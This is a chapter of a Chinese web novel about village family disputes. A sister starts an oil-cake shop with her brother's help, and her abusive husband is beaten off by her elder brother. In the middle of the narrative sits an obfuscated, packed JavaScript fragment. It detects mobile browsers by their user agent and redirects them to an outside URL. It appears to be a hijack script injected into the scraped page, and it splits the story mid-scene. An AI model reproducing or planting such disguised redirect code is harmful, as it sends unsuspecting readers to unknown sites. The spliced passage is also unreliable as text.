白满平很不高兴:“刘顺,你站住。我女儿这些年给你生了三个儿子,又帮你孝顺长辈,到底哪里对不起你?有事就说事,你凭什么动手?” 原本刘顺动手打人,白兰儿心里也很生气,但是她怀疑白桃说的那番荒唐话被他听去了,一时间特别心虚。她真的没有改嫁的想法,可娘家人说出这种话……她再解释说不想嫁给林大力,刘顺也不能信啊。 夫妻之间相处,有时候糊涂一点好。 她心烦意乱,着急之下脱口道:“爹,这是我们俩之间的事。不用你管。” 白满平:“……” “老子这是为了谁?” 白兰儿不理他的气急败坏,抓着刘顺的胳膊一路疾走。 回去的路上,夫妻俩都不说话。 * 无论白桃如何抵触二妹一家人,白婷儿还是带着男人和孩子住了下来。 住是住了,姐妹俩凑在一起,天天都在吵架。温云起时常都能发现白家院子外围着不少人。 这期间,他去了镇上几次。 林二姐带着女儿将院子打扫得干干净净,还出钱买了一些桌椅,又让人修了房顶。 很明显,她不好意思白住,又知道弟弟不会收自己的租金,干脆直接把钱花在房子上。 温云起在镇上找了中人,又买了两间铺子。 这两间铺子以前卖的是小面和油饼,味道不错,只是那家人是外地来的,租了东家的铺子做生意,他们来了好多年,最近回了乡。 那家人一走,东家的铺子因为租金谈不拢,已经空了半年,最近东家也转变了想法。铺子若是没有人租,就等于几十两银子压在那儿动也不动,还不如换成地。 至少,那地里每年都有粮食出产。 铺子买下,改了房契,温云起还买了几样菜回去。 林二姐知道弟弟来了镇上,特意嘱咐他回来吃饭……要是不提,他一转头又不知道跑哪儿去了。 看见弟弟买了熟食,林二姐忍不住就想唠叨:“我给你做了肉,还给你炖了骨头,味道香着呢。咱们只有四个人吃饭,还有两个是孩子,你买这些,吃不完就坏了。” “那就抓紧多吃。”温云起把熟食递给林二姐的女儿,“拿去装盘。” 姐妹俩倒是很欢喜:“谢谢小舅。” 道完谢,嬉笑着进厨房装菜。 林二姐这几天将女儿的变化看在眼里,在齐家时,两个姑娘从早忙到晚,不做事要挨骂,做了事也要挨骂。总之,就没有她们做对的时候。 温云起掏出了那铺子的房契:“刚才我买了两间铺子,想跟你商量一下做生意的事情。” 正在摆饭的林二姐动作一顿。 小弟这话,说得好像只是买了颗大白菜似的。她手是湿的,也没伸手去接,探头看了一眼,确定是房契,道:“挺好的,你有了院子,又有了两间铺子。回头找个媒人说一门亲事……大力呀,你也别怪姐姐多嘴,咱们能不能不要跟白家那一群人纠缠了,白桃的名声很差,我真的怕她影响了你。” “这些事我心里有数。”温云起抖了抖手里的两张纸,“这铺子是原先卖油饼的那两间,之前我去码头上也学过炸油饼的手艺。二姐,你还年轻,想不想找个事做?” 林二姐当然想找事情做,只是她活了半辈子,没有做过生意,想到要迎来送往的招待客人,心里就发怵。 “我行吗?” 温云起直言:“为了你两个女儿,不行也得行啊。” “那……炸油饼需要什么?我去买点来学着,咱们自己家人先尝一尝。”林二姐紧张归紧张,但她是个倔强不服输的性子。 如果真是那软和得如同面团一般的女子,也不会在婆家不赞同的情形下还回娘家照顾生病的母亲好几年。 吃饭时,母女三人都很高兴。 林二姐风风火火放下碗筷,让小女儿洗碗,带着大女儿跑了一趟镇上的粮铺,很快就将炸油饼需要的东西全部买回来。 东西又多又杂,还有好些是林二姐以前没有碰过的,她怕给弄坏了。 “大力,你到底会不会?” 温云起站在旁边,指挥林二姐动手,姐妹俩也在旁边帮着记方子。 林二姐觉得有些不妥当,这方子弟弟肯定不会是平白得来。告诉她就行了,还告诉了两个女儿……这知道方子的人多了,日后保不齐就会出现和他们抢生意的对头。 方子特别要紧,哪怕是自己的亲生女儿,林二姐也不敢信任。 “大力,让她们俩出去走走吧。” “不,我怕你记不住,她们年纪小,记性要好点,如果炸出来好吃,一会儿你就去准备食材,明儿就可以开张了。” 林二姐面色格外复杂,她对手底下的这盆面并不敢过于期待,至于开张……即便要做生意也该选一个利市的日子和时辰开张,怎么能如此草率? 面要发一刻钟,这期间林二姐把锅洗干净,倒了油烧好,然后她将糊糊状的面饼用勺子舀了放进锅里。 糊糊一见油,瞬间发黄起泡,香气直往鼻子里钻。 姐妹俩从小到大,没有吃过太油的东西,这会儿只觉口舌生津,眼神落在锅中的油饼上拔不出来。 第一个油饼出锅,林二姐送到了温云起手中。 温云起一转手给了姐妹俩:“小心烫!分着吃。” 林二姐不赞同:“又不是不给她们吃,你先尝尝啊,这可是要拿来做生意的。” “有的吃就吃,没必要让孩子受苦。”温云起接过第二个咬了一口,顿时有些得意,他原先是个厨子,是跟着师父和师兄弟勾心斗角学出来的手艺。 这油饼只是小道,他改良了一些,味道比他自己炸的差点儿,但拿去卖是足够了。 林二姐小心翼翼啃了一口,顿时眼睛一亮,她好奇问:“大力,真的很好吃啊,你从哪儿学来的?怎么说服东家把这手艺教给你的?” 温云起不想多谈:“二姐,我还要回白家,你去准备吧。”说着,拿了十两银子给她。 林二姐买过一回食材,当下退了一半:“这些就足够了,除了食材,连买桌椅板凳锅碗瓢盆都有,不用给我这么多。这人呢,手头的银子多了,就忍不住乱花。你还是要省着点,还没娶媳妇呢。” 她又开始唠叨了。 温云起见她不要,便收了回来。 林二姐见弟弟又要走了,面色格外复杂:“你都有住处了,就即将有自己的生意,别再跟白桃来往了吧?那女人不值得你惦记!” “我不是惦记她才留在白家。”温云起解释了一句,“二姐,你好好干,以后生意做起来了,那也是我的退路。对了,如果姓齐的来找你麻烦,记得告诉我,别被他给欺负了。” 林二姐连连点头。 温云起当天回了村里,而林二姐拿着钥匙打开了关了半年的铺子,让两个女儿打扫,她再去了一趟粮铺,买了不少东西。因为买得多,伙计还愿意送。 原先那家卖油饼的还有好多锅碗瓢盆和桌椅留了下来,能用的林二姐就接着用,不能用的才买新的,饶是如此,半天时间,也花了三四两银子出去。 镇上的人比较富裕,花三四两银子不稀奇,但这是对于齐家来说挺稀奇。 最近齐三冲妻子女儿不在身边,他过得不太好,原先他的衣食住行都有妻子打理。如今林二姐走了,他娘年纪又大了,没有精力照顾旁人。 不过,齐三冲不认为妻子会一去不回,他还趁着母女三人不在家时,正经将侄子过继到名下,还天天带着那孩子睡觉。 当然了,他是个男人,不会照顾孩子,白天的时候,孩子都跟着祖父母,或者又回亲娘那边去呆着。 齐三冲一开始还觉得多个孩子对自己的日子没有多大的影响,孩子晚上特别好睡,白天又不麻烦他,换下来的衣裳也有人帮忙洗。最重要的是,他走出去跟人聊天时,心里再没有那种抬不起头的感觉了。 但四五天时间过了,母女几人没有回来的迹象,就赖在了卢家的那个院子里。 那院子到底是怎么回事,齐三冲一直不愿意去问。 结果一转头,母女几人竟然做起了生意,还花出去了不少本钱置办东西。不用问也知道,那些银子多半是林大力给的。 关于林大力从白桃那里得到了一百五十两银子的事,昨天突然就在镇上传开了。一天过去,没人不知道此事。 齐三冲原本就不打算真的将母女三人赶走,如今得知林大力富裕了,决定以后对妻子客气一些,反正他也有儿子了,夫妻俩日后再不吵架了就是。 可问题是,妻子在那边做生意,晚上又有住处,不像是愿意回家……他决定给她递个台阶。 林二姐带着两个女儿将铺子里里外外擦了个干净,隔壁那间她一点都没动,只打开后看了看就将门给锁上了。卖油饼只需要一间铺子,隔壁那间租给别人,多少也能收点租金回来。 由于屋子里的东西挺多,母女几人颇费了一番功夫将所有的东西抬到了路上,把屋子都打扫干净了,才一样一样往里抬,坏了的桌椅板凳和木盆那些就丢到了灶前当柴烧,折腾半天,林二姐都有点累。 但姐妹俩却兴致高昂,她们一想到以后天天都有油饼吃,还想吃多少都行,就浑身都是干劲。 刚把桌椅摆好,齐三冲就到了。 夫妻俩分别时闹得很不愉快,林二姐懒得理他。 齐三冲有些不自在,以前夫妻俩吵架,从来都是林二姐先低头找他,然后他勉为其难和她说话,也就算和好了。 这是做夫妻这么多年以来他第一回求和,见母女三人不理自己,他咳嗽了一声:“二丫,你忙着呢?” 林二姐嗯了一声。 齐三冲再次咳嗽一声:“那需不需要我帮忙?” “不用。”林二姐这些天住在弟弟的院子里,确实想过清静一段时间就回齐家,但吃了弟弟炸出来的油饼,她有点想改主意了。 弟弟明显不赞同她们夫妻和好……原先她不想成为弟弟的累赘,即便是弟弟的院子很大,但他早晚都会成亲,没有哪个媳妇愿意一辈子养着婆家的大姑子和小姑子,更何况她还带着两个拖油瓶。 她确实很想逃离齐家,但不能把麻烦带给弟弟。 如今不一样了,她有活计干,卖了油饼,弟弟肯定要给她发工钱,哪怕两个女儿的工钱少点……她们母女三人在铺子里包了吃,回头拿着工钱找个住处落脚应该不难。 若是齐三冲昨天找上门,林二姐对他的态度都会渐渐软和,人在屋檐下,不得不低头啊。但今儿不一样了,林二姐完全可以不靠他就能让母女三人吃饱穿暖有地方住,至于家中没有男人可能会被别人欺负……她是没有男人,但她有两个兄弟在身边。大家都住在镇上,两兄弟总不可能眼睁睁看她受人欺负而不出手帮忙。 林二姐脑中思绪万千,面上越来越冷:“麻烦你不要在那地上踩,我们好不容易才扫干净,今儿不开张,不做生意,若是要吃油饼,明儿请早。” 齐三冲愕然:“你这样跟我说话?” “不然呢?”林二姐梗着脖子看他,这么多年她从来没有反抗过这个男人,哪怕自己找到了后路要离开他,终于有了勇气反驳他,她心里还是控制不住地阵阵发慌。 “你这半辈子都在怪我没给你生个儿子,如今你有儿子了,还要怪我什么?”林二姐激动地道:“那天你在大哥家里说了你以后再不跟我娘家人的门,如今又来找我,岂不是自打嘴?你是不要脸了吗?” 齐三冲怒火直冲脑门儿,当场就要发作,身侧的手都握成了拳头准备动手。不过,想到林大力后,他缓缓将手松开,硬邦邦地道:“我是过继了孩子,大前天上了族谱,孩子叫齐光宗,已经改口叫我爹。你放心,只要你好好待他,他也会叫你一声娘……以前我对你不太好,都是因为我心有不甘。同样都是男人,别人一个接一个的生儿子,我却只生丫头片子,他们明里暗里没少笑话我,所以我才爱回家发脾气。如今不一样了,我们有儿子了,再没有人敢笑话我,二丫,回家吧,以后我们好好过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13445992|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说着,伸手就要去拉林二姐。 林二姐今日之前想着不能拖累弟弟,都已经打算说服自己接纳那个孩子。但此时看着齐三冲这番有子万事足的模样,一股怒火直冲脑门,她发觉自己说服不了自己将别人的儿子当亲生,更接受不了以后辛辛苦苦攒的银子不给两个女儿反而留给一个外人。 所以,这齐家……她是真的回不去了! 她一把甩开了齐三冲的拉扯:“不要碰我!老娘才不会帮别人养孩子……那孩子的亲爹娘就在眼前,能不能养得熟都不知道,别到最后白费力气。” 最后那句是她之前打算说服自己养孩子时心头的顾虑,此时她又慌又怒,无意之中脱口而出。 这话却说到了齐三冲的心坎上。 就在这时,林大春带着儿子过来了,白天弟弟带了油饼去找他,让他忙完后过来帮下忙,顺便放只眼睛在铺子里,省得齐三冲跑来捣乱。 林大春从早到晚的时间都是分配好了的,他这些年日子是越过越好,但他的心里却越来越歉疚,因为他的好日子是三个弟弟无家可归换来的。所以,他一点都不怕辛苦,只要能赚到钱,他每天只需要眯一两个时辰就行。 今日还是赶了又赶,才在天黑之前赶了过来。 “齐三冲,你个混账!放开我妹妹!” 林大春很生气,又歉疚于白天没能抽出空来帮母女几人的忙,这会儿好不容易有了自己出手的机会,他自然要好好表现,当即抡着拳头冲了上去,对着齐三冲的脖颈来了好几下。 齐三冲被砸倒在地,林继方还见缝扎针踹了他两脚。 好半晌,齐三冲眼前都在冒金星,手脚也是麻的,根本爬不起来。 齐家人就是无赖,林大春也不好真的把人打坏了,妹妹还要开张呢,别在这关头被齐家人坏了事。他不再动手,捏着拳头满脸凶狠地吼:“你滚!以后你爱养谁养谁,不要到我妹妹面前来碍眼。再有下次,我打断你的腿,或者老子干脆拼了这条命不要一起带你下地府去!你不怕死的话,尽管过来。” 横的就怕不要命的。 林大春那副双眼通红似厉鬼的模样不像是开玩笑,齐三冲有些被吓着,恰巧又有人来拉架,他顺着众人扶他的力道起身。 “林大春,我们夫妻好好的,你非要搅和的我们过不成日子,不觉得自己太缺德了吗?人在做,天在看,你早晚会遭报应。” 撂下狠话,齐三冲转身要走。 林大春气急,但他笨嘴拙舌,只知道放狠话和动手,不知该如何还嘴。 此时杨氏赶了过来,她自然不愿看自家男人吃亏,冷笑着扬声道:“他们夫妻要分开,那可不是我们家搅和的,而是他自己立身不正!这姓齐的过继了他二哥的孩子,当年孩子还没落地的时候他就有这种想法,我妹妹一直不答应……将心比心,这事换了谁也不可能答应啊,自己又不是没有亲生的孩子,为何要帮别人养孩子?大家说是不是?” 关于家里有了女儿非要过继一个男丁之类的事不是没有先例,众人并没有附和杨氏的话。杨氏也不在意,拔高了声音道:“我妹妹不答应,不光是因为有亲生的孩子,还因为这齐老三张口闭口只愿意过继他二嫂生的孩子……” 过继侄子不稀奇,但杨氏不说齐二,只说齐二的妻子,且言语和态度暧昧,反应快的人已经心领神会。 杨氏却还怕众人听不懂,冷笑着道:“这小叔子和嫂子之间……呵呵……齐家老大也不止一个儿子,他怎么不去过继呢?” 自然是因为齐大冲儿子的年纪要大些,齐三冲一开始想的是自己生,生不出来了想过继,林二丫始终不愿意,一直谈不拢,向来温顺的女人在这件事情上出乎意料的执拗,无论他如何打骂,她都始终不肯松口。 林二丫不愿意养孩子,两个妯娌即便心里愿意过继,也不敢把孩子交给她呀,这孩子记到了齐三冲的名下,那就是他儿子。人家做爹娘的教训一下儿子本就在情理之中,到时她们想拦,怕是也有心无力。 所以,过继一事拖到了今日。 原本齐三冲不打算管身后的热闹,但是杨氏这话的意思太过明显,就差明摆着说他和二嫂有一腿了。 这种玩笑怎么能开? 回头传出风言风语,齐家人成什么了? 秦楼楚馆那种不讲究的地方吗? 齐三冲忍无可忍,捏着拳头就朝着杨氏冲了过去:“让你胡说八道,老子打死你!” 杨氏口中哎呀呀叫着,飞快躲到了自家男人身后,拍着胸口大叫:“这是让我说中了恼羞成怒了呀,以后我不说了就是……瞧你这要杀人的模样,我是真的怕!” 周围有不少人,肯定不能眼睁睁看着齐三冲伤人啊,当即就有人挡在了两家之间。 “有话好好说,不要动手。” 齐三冲气得脸红脖子粗,脖子上的青筋鼓动,杨氏态度和言语简直让他无从解释,他心里是又气又无力,只能狠瞪着杨氏:“老子真没见过你这么恶毒的妇人,方才那些话要是让人当了真,我二嫂还有活路?” 杨氏暗自翻了个白眼。 那齐二的妻子可不是什么好东西,小姑子以前没少受她的欺负,和齐三冲之间……确实有点黏糊。外人都不知,她会知道,还是小姑子跟她说的。 只不过小姑子生了两个女儿,齐三冲平时脾气又暴躁,爱对母女三人动手,小姑子不敢闹,只能忍着。当时她就想让林大春上门讨个公道……但这种事情闹开了,小姑子面上也无光。 还有,她有私心,小姑子在齐家日子过不下去,那就只能回娘家。自家都活得挺艰难,哪里还养得起母女三人? 不提她的私心,这跟婆家闹到日子过不下去回娘家的女人要遭受不少闲言碎语,她怕小姑子受不住,万一寻了死,她哪里背负得起一条人命? 小姑子自己也不愿意闹开,那就不能闹。 “她有没有活路关我屁事?”杨氏探出头叫嚣,“做了不要脸的事,现在知道要脸了,晚了!” 齐三冲:“……” “你再胡说,我跟你拼命。” 杨氏啊了一声:“哎呦,我好害怕。不说了不说了,你们俩之间清清白白行了吧?你过继孩子,只是因为那孩子的年纪合适,没有其他的原因。” 齐三冲:“……” 还不如不强调呢。 她越是这么说,众人越是要怀疑。 并且,他气怒交加模样落在众人眼中,就是他心虚。 一时间,齐三冲气得恨不能杀人泄愤! 偏偏这种事情是越描越黑,他如果敢杀人,在众人眼中,更是坐实了他和二嫂不清不楚。 杨氏此举,着实毒辣! * 温云起这几天舍不得离开白家,是因为他再等一件事发生。 离开镇上时,天气炎热,他租了马车回村。 刚刚进村,还隔着白家老远,就看到门口围了不少人看热闹,隐约还有女子崩溃的哭声。 “爹,女儿的命好苦啊!您不收留女儿,女儿就真的没活路了……呜呜呜……” 一个年轻女子身着麻衣,满脸憔悴又悲伤不已地跪在白满平面前求收留。 此人是白满平的四女白珠儿。